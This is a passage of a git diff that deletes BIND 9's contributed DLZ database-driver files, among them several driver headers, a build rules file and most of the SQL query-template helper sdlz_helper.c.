- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef DLZ_ODBC_DRIVER_H
-#define DLZ_ODBC_DRIVER_H
-
-isc_result_t
-dlz_odbc_init(void);
-
-void
-dlz_odbc_clear(void);
-
-#endif /* ifndef DLZ_ODBC_DRIVER_H */
diff --git a/contrib/dlz/drivers/include/dlz/dlz_postgres_driver.h b/contrib/dlz/drivers/include/dlz/dlz_postgres_driver.h
deleted file mode 100644
index d8e250dcee..0000000000
--- a/contrib/dlz/drivers/include/dlz/dlz_postgres_driver.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef DLZ_POSTGRES_DRIVER_H
-#define DLZ_POSTGRES_DRIVER_H
-
-isc_result_t
-dlz_postgres_init(void);
-
-void
-dlz_postgres_clear(void);
-
-#endif /* ifndef DLZ_POSTGRES_DRIVER_H */
diff --git a/contrib/dlz/drivers/include/dlz/dlz_stub_driver.h b/contrib/dlz/drivers/include/dlz/dlz_stub_driver.h
deleted file mode 100644
index 73df7ba2f9..0000000000
--- a/contrib/dlz/drivers/include/dlz/dlz_stub_driver.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef DLZ_STUB_DRIVER_H
-#define DLZ_STUB_DRIVER_H
-
-isc_result_t
-dlz_stub_init(void);
-
-void
-dlz_stub_clear(void);
-
-#endif /* ifndef DLZ_STUB_DRIVER_H */
diff --git a/contrib/dlz/drivers/include/dlz/sdlz_helper.h b/contrib/dlz/drivers/include/dlz/sdlz_helper.h
deleted file mode 100644
index d46db7c21a..0000000000
--- a/contrib/dlz/drivers/include/dlz/sdlz_helper.h
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef SDLZHELPER_H
-#define SDLZHELPER_H
-
-#include <stdbool.h>
-
-/*
- * Types
- */
-#define SDLZH_REQUIRE_CLIENT 0x01
-#define SDLZH_REQUIRE_QUERY  0x02
-#define SDLZH_REQUIRE_RECORD 0x04
-#define SDLZH_REQUIRE_ZONE   0x08
-
-typedef struct query_segment query_segment_t;
-typedef ISC_LIST(query_segment_t) query_list_t;
-typedef struct dbinstance dbinstance_t;
-typedef ISC_LIST(dbinstance_t) db_list_t;
-typedef struct driverinstance driverinstance_t;
-
-/*%
- * a query segment is all the text between our special tokens
- * special tokens are %zone%, %record%, %client%
- */
-struct query_segment {
-	void *	     sql;
-	unsigned int strlen;
-	bool	     direct;
-	ISC_LINK(query_segment_t) link;
-};
-
-/*%
- * a database instance contains everything we need for running
- * a query against the database.  Using it each separate thread
- * can dynamically construct a query and execute it against the
- * database.  The "instance_lock" and locking code in the driver's
- * make sure no two threads try to use the same DBI at a time.
- */
-struct dbinstance {
-	void *	      dbconn;
-	query_list_t *allnodes_q;
-	query_list_t *allowxfr_q;
-	query_list_t *authority_q;
-	query_list_t *findzone_q;
-	query_list_t *lookup_q;
-	query_list_t *countzone_q;
-	char *	      query_buf;
-	char *	      zone;
-	char *	      record;
-	char *	      client;
-	isc_mem_t *   mctx;
-	isc_mutex_t   instance_lock;
-	ISC_LINK(dbinstance_t) link;
-};
-
-/*
- * Method declarations
- */
-
-/* see the code in sdlz_helper.c for more information on these methods */
-
-char *
-sdlzh_build_querystring(isc_mem_t *mctx, query_list_t *querylist);
-
-isc_result_t
-sdlzh_build_sqldbinstance(isc_mem_t *mctx, const char *allnodes_str,
-			  const char *allowxfr_str, const char *authority_str,
-			  const char *findzone_str, const char *lookup_str,
-			  const char *countzone_str, dbinstance_t **dbi);
-
-void
-sdlzh_destroy_sqldbinstance(dbinstance_t *dbi);
-
-char *
-sdlzh_get_parameter_value(isc_mem_t *mctx, const char *input, const char *key);
-
-/* Compatibility with existing DLZ drivers */
-
-#define build_querystring     sdlzh_build_querystring
-#define build_sqldbinstance   sdlzh_build_sqldbinstance
-#define destroy_sqldbinstance sdlzh_destroy_sqldbinstance
-
-#define getParameterValue(x, y) \
-	sdlzh_get_parameter_value(named_g_mctx, (x), (y))
-
-#endif /* SDLZHELPER_H */
diff --git a/contrib/dlz/drivers/rules.in b/contrib/dlz/drivers/rules.in
deleted file mode 100644
index 81d48d63fa..0000000000
--- a/contrib/dlz/drivers/rules.in
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2005  Internet Systems Consortium, Inc. ("ISC")
-#
-# Permission to use, copy, modify, and distribute this software for any
-# purpose with or without fee is hereby granted, provided that the above
-# copyright notice and this permission notice appear in all copies.
-#
-# THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
-# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-# AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
-# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-# OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-# PERFORMANCE OF THIS SOFTWARE.
-
-dlz_drivers.@O@: ${DLZ_DRIVER_DIR}/dlz_drivers.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_drivers.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_drivers.c
-
-sdlz_helper.@O@: ${DLZ_DRIVER_DIR}/sdlz_helper.c ${DLZ_DRIVER_DIR}/include/dlz/sdlz_helper.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/sdlz_helper.c
-
-
-dlz_bdb_driver.@O@: ${DLZ_DRIVER_DIR}/dlz_bdb_driver.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_bdb_driver.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_bdb_driver.c
-
-dlz_bdbhpt_driver.@O@: ${DLZ_DRIVER_DIR}/dlz_bdbhpt_driver.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_bdbhpt_driver.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_bdbhpt_driver.c
-
-dlz_filesystem_driver.@O@: ${DLZ_DRIVER_DIR}/dlz_filesystem_driver.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_filesystem_driver.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_filesystem_driver.c
-
-dlz_ldap_driver.@O@: ${DLZ_DRIVER_DIR}/dlz_ldap_driver.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_ldap_driver.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_ldap_driver.c
-
-dlz_mysql_driver.@O@: ${DLZ_DRIVER_DIR}/dlz_mysql_driver.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_mysql_driver.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_mysql_driver.c
-
-dlz_odbc_driver.@O@: ${DLZ_DRIVER_DIR}/dlz_odbc_driver.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_odbc_driver.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_odbc_driver.c
-
-dlz_postgres_driver.@O@: ${DLZ_DRIVER_DIR}/dlz_postgres_driver.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_postgres_driver.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_postgres_driver.c
-
-dlz_dlopen_driver.@O@: ${DLZ_DRIVER_DIR}/dlz_dlopen_driver.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_dlopen_driver.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_dlopen_driver.c
-
-dlz_stub_driver.@O@: ${DLZ_DRIVER_DIR}/dlz_stub_driver.c ${DLZ_DRIVER_DIR}/include/dlz/dlz_stub_driver.h
-	${LIBTOOL_MODE_COMPILE} ${CC} ${ALL_CFLAGS} -c ${DLZ_DRIVER_DIR}/dlz_stub_driver.c
-
diff --git a/contrib/dlz/drivers/sdlz_helper.c b/contrib/dlz/drivers/sdlz_helper.c
deleted file mode 100644
index e496587f51..0000000000
--- a/contrib/dlz/drivers/sdlz_helper.c
+++ /dev/null
@@ -1,489 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#include <stdbool.h>
-
-#include <isc/mem.h>
-#include <isc/result.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-
-#include <dlz/sdlz_helper.h>
-
-/*
- * sdlz helper methods
- */
-
-/*%
- * properly destroys a querylist by de-allocating the
- * memory for each query segment, and then the list itself
- */
-
-static void
-destroy_querylist(isc_mem_t *mctx, query_list_t **querylist) {
-	query_segment_t *tseg = NULL;
-	query_segment_t *nseg = NULL;
-
-	REQUIRE(mctx != NULL);
-
-	/* if query list is null, nothing to do */
-	if (*querylist == NULL) {
-		return;
-	}
-
-	/* start at the top of the list */
-	nseg = ISC_LIST_HEAD(**querylist);
-	while (nseg != NULL) { /* loop, until end of list */
-		tseg = nseg;
-		/*
-		 * free the query segment's text string but only if it
-		 * was really a query segment, and not a pointer to
-		 * %zone%, or %record%, or %client%
-		 */
-		if (tseg->sql != NULL && tseg->direct) {
-			isc_mem_free(mctx, tseg->sql);
-		}
-		/* get the next query segment, before we destroy this one. */
-		nseg = ISC_LIST_NEXT(nseg, link);
-		/* deallocate this query segment. */
-		isc_mem_put(mctx, tseg, sizeof(query_segment_t));
-	}
-	/* deallocate the query segment list */
-	isc_mem_put(mctx, *querylist, sizeof(query_list_t));
-}
-
-/*% constructs a query list by parsing a string into query segments */
-static isc_result_t
-build_querylist(isc_mem_t *mctx, const char *query_str, char **zone,
-		char **record, char **client, query_list_t **querylist,
-		unsigned int flags) {
-	isc_result_t result;
-	bool foundzone = false;
-	bool foundrecord = false;
-	bool foundclient = false;
-	char *free_me = NULL;
-	char *temp_str = NULL;
-	query_list_t *tql;
-	query_segment_t *tseg = NULL;
-	char *last = NULL;
-
-	REQUIRE(querylist != NULL && *querylist == NULL);
-	REQUIRE(mctx != NULL);
-
-	/* if query string is null, or zero length */
-	if (query_str == NULL || strlen(query_str) < 1) {
-		if ((flags & SDLZH_REQUIRE_QUERY) == 0) {
-			/* we don't need it were ok. */
-			return (ISC_R_SUCCESS);
-		} else {
-			/* we did need it, PROBLEM!!! */
-			return (ISC_R_FAILURE);
-		}
-	}
-
-	/* allocate memory for query list */
-	tql = isc_mem_get(mctx, sizeof(query_list_t));
-
-	/* initialize the query segment list */
-	ISC_LIST_INIT(*tql);
-
-	/* make a copy of query_str so we can chop it up */
-	free_me = temp_str = isc_mem_strdup(mctx, query_str);
-	/* couldn't make a copy, problem!! */
-	if (temp_str == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
-	/* loop through the string and chop it up */
-	for (;;) {
-		/*
-		 * Split string into tokens at '$'.
-		 */
-		const char *sql = strtok_r(temp_str, "$", &last);
-		if (sql == NULL) {
-			break;
-		}
-		temp_str = NULL;
-
-		/* allocate memory for tseg */
-		tseg = isc_mem_get(mctx, sizeof(query_segment_t));
-		tseg->sql = NULL;
-		tseg->direct = false;
-		/* initialize the query segment link */
-		ISC_LINK_INIT(tseg, link);
-		/* append the query segment to the list */
-		ISC_LIST_APPEND(*tql, tseg, link);
-
-		tseg->sql = isc_mem_strdup(mctx, sql);
-		/* tseg->sql points directly to a string. */
-		tseg->direct = true;
-		tseg->strlen = strlen(tseg->sql);
-
-		/* check if we encountered "$zone$" token */
-		if (strcasecmp(tseg->sql, "zone") == 0) {
-			/*
-			 * we don't really need, or want the "zone"
-			 * text, so get rid of it.
-			 */
-			isc_mem_free(mctx, tseg->sql);
-			/* set tseg->sql to in-direct zone string */
-			tseg->sql = zone;
-			tseg->strlen = 0;
-			/* tseg->sql points in-directly to a string */
-			tseg->direct = false;
-			foundzone = true;
-			/* check if we encountered "$record$" token */
-		} else if (strcasecmp(tseg->sql, "record") == 0) {
-			/*
-			 * we don't really need, or want the "record"
-			 * text, so get rid of it.
-			 */
-			isc_mem_free(mctx, tseg->sql);
-			/* set tseg->sql to in-direct record string */
-			tseg->sql = record;
-			tseg->strlen = 0;
-			/* tseg->sql points in-directly points to a string */
-			tseg->direct = false;
-			foundrecord = true;
-			/* check if we encountered "$client$" token */
-		} else if (strcasecmp(tseg->sql, "client") == 0) {
-			/*
-			 * we don't really need, or want the "client"
-			 * text, so get rid of it.
-			 */
-			isc_mem_free(mctx, tseg->sql);
-			/* set tseg->sql to in-direct record string */
-			tseg->sql = client;
-			tseg->strlen = 0;
-			/* tseg->sql points in-directly points to a string */
-			tseg->direct = false;
-			foundclient = true;
-		}
-	}
-
-	/* we don't need temp_str any more */
-	isc_mem_free(mctx, free_me);
-	/*
-	 * add checks later to verify zone and record are found if
-	 * necessary.
-	 */
-
-	/* if this query requires %client%, make sure we found it */
-	if (((flags & SDLZH_REQUIRE_CLIENT) != 0) && (!foundclient)) {
-		/* Write error message to log */
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Required token $client$ not found.");
-		result = ISC_R_FAILURE;
-		goto flag_fail;
-	}
-
-	/* if this query requires %record%, make sure we found it */
-	if (((flags & SDLZH_REQUIRE_RECORD) != 0) && (!foundrecord)) {
-		/* Write error message to log */
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Required token $record$ not found.");
-		result = ISC_R_FAILURE;
-		goto flag_fail;
-	}
-
-	/* if this query requires %zone%, make sure we found it */
-	if (((flags & SDLZH_REQUIRE_ZONE) != 0) && (!foundzone)) {
-		/* Write error message to log */
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Required token $zone$ not found.");
-		result = ISC_R_FAILURE;
-		goto flag_fail;
-	}
-
-	/* pass back the query list */
-	*querylist = (query_list_t *)tql;
-
-	/* return success */
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	/* get rid of free_me */
-	if (free_me != NULL) {
-		isc_mem_free(mctx, free_me);
-	}
-
-flag_fail:
-	/* get rid of what was build of the query list */
-	destroy_querylist(mctx, &tql);
-	return (result);
-}
-
-/*%
- * build a query string from query segments, and dynamic segments
- * dynamic segments replace where the tokens %zone%, %record%, %client%
- * used to be in our queries from named.conf
- */
-char *
-sdlzh_build_querystring(isc_mem_t *mctx, query_list_t *querylist) {
-	query_segment_t *tseg = NULL;
-	unsigned int length = 0;
-	char *qs = NULL;
-
-	REQUIRE(mctx != NULL);
-	REQUIRE(querylist != NULL);
-
-	/* start at the top of the list */
-	tseg = ISC_LIST_HEAD(*querylist);
-	while (tseg != NULL) {
-		/*
-		 * if this is a query segment, use the
-		 * precalculated string length
-		 */
-		if (tseg->direct) {
-			length += tseg->strlen;
-		} else { /* calculate string length for dynamic segments. */
-			length += strlen(*(char **)tseg->sql);
-		}
-		/* get the next segment */
-		tseg = ISC_LIST_NEXT(tseg, link);
-	}
-
-	/* allocate memory for the string */
-	qs = isc_mem_allocate(mctx, length + 1);
-
-	*qs = 0;
-	/* start at the top of the list again */
-	tseg = ISC_LIST_HEAD(*querylist);
-	while (tseg != NULL) {
-		if (tseg->direct) {
-			/* query segments */
-			strcat(qs, tseg->sql);
-		} else {
-			/* dynamic segments */
-			strcat(qs, *(char **)tseg->sql);
-		}
-		/* get the next segment */
-		tseg = ISC_LIST_NEXT(tseg, link);
-	}
-
-	return (qs);
-}
-
-/*% constructs a sql dbinstance (DBI) */
-isc_result_t
-sdlzh_build_sqldbinstance(isc_mem_t *mctx, const char *allnodes_str,
-			  const char *allowxfr_str, const char *authority_str,
-			  const char *findzone_str, const char *lookup_str,
-			  const char *countzone_str, dbinstance_t **dbi) {
-	isc_result_t result;
-	dbinstance_t *db = NULL;
-
-	REQUIRE(dbi != NULL && *dbi == NULL);
-	REQUIRE(mctx != NULL);
-
-	/* allocate and zero memory for driver structure */
-	db = isc_mem_get(mctx, sizeof(dbinstance_t));
-	memset(db, 0, sizeof(dbinstance_t));
-	db->dbconn = NULL;
-	db->client = NULL;
-	db->record = NULL;
-	db->zone = NULL;
-	db->mctx = NULL;
-	db->query_buf = NULL;
-	db->allnodes_q = NULL;
-	db->allowxfr_q = NULL;
-	db->authority_q = NULL;
-	db->findzone_q = NULL;
-	db->countzone_q = NULL;
-	db->lookup_q = NULL;
-
-	/* attach to the memory context */
-	isc_mem_attach(mctx, &db->mctx);
-
-	/* initialize the reference count mutex */
-	isc_mutex_init(&db->instance_lock);
-
-	/* build the all nodes query list */
-	result = build_querylist(mctx, allnodes_str, &db->zone, &db->record,
-				 &db->client, &db->allnodes_q,
-				 SDLZH_REQUIRE_ZONE);
-	/* if unsuccessful, log err msg and cleanup */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Could not build all nodes query list");
-		goto cleanup;
-	}
-
-	/* build the allow zone transfer query list */
-	result = build_querylist(mctx, allowxfr_str, &db->zone, &db->record,
-				 &db->client, &db->allowxfr_q,
-				 SDLZH_REQUIRE_ZONE | SDLZH_REQUIRE_CLIENT);
-	/* if unsuccessful, log err msg and cleanup */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Could not build allow xfr query list");
-		goto cleanup;
-	}
-
-	/* build the authority query, query list */
-	result = build_querylist(mctx, authority_str, &db->zone, &db->record,
-				 &db->client, &db->authority_q,
-				 SDLZH_REQUIRE_ZONE);
-	/* if unsuccessful, log err msg and cleanup */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Could not build authority query list");
-		goto cleanup;
-	}
-
-	/* build findzone query, query list */
-	result = build_querylist(mctx, findzone_str, &db->zone, &db->record,
-				 &db->client, &db->findzone_q,
-				 SDLZH_REQUIRE_ZONE);
-	/* if unsuccessful, log err msg and cleanup */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Could not build find zone query list");
-		goto cleanup;
-	}
-
-	/* build countzone query, query list */
-	result = build_querylist(mctx, countzone_str, &db->zone, &db->record,
-				 &db->client, &db->countzone_q,
-				 SDLZH_REQUIRE_ZONE);
-	/* if unsuccessful, log err msg and cleanup */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Could not build count zone query list");
-		goto cleanup;
-	}
-
-	/* build lookup query, query list */
-	result = build_querylist(mctx, lookup_str, &db->zone, &db->record,
-				 &db->client, &db->lookup_q,
-				 SDLZH_REQUIRE_RECORD);
-	/* if unsuccessful, log err msg and cleanup */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Could not build lookup query list");
-		goto cleanup;
-	}
-
-	/* pass back the db instance */
-	*dbi = (dbinstance_t *)db;
-
-	/* return success */
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	/* destroy whatever was build of the db instance */
-	destroy_sqldbinstance(db);
-	/* return failure */
-	return (ISC_R_FAILURE);
-}
-
-void
-sdlzh_destroy_sqldbinstance(dbinstance_t *dbi) {
-	isc_mem_t *mctx;
-
-	/* save mctx for later */
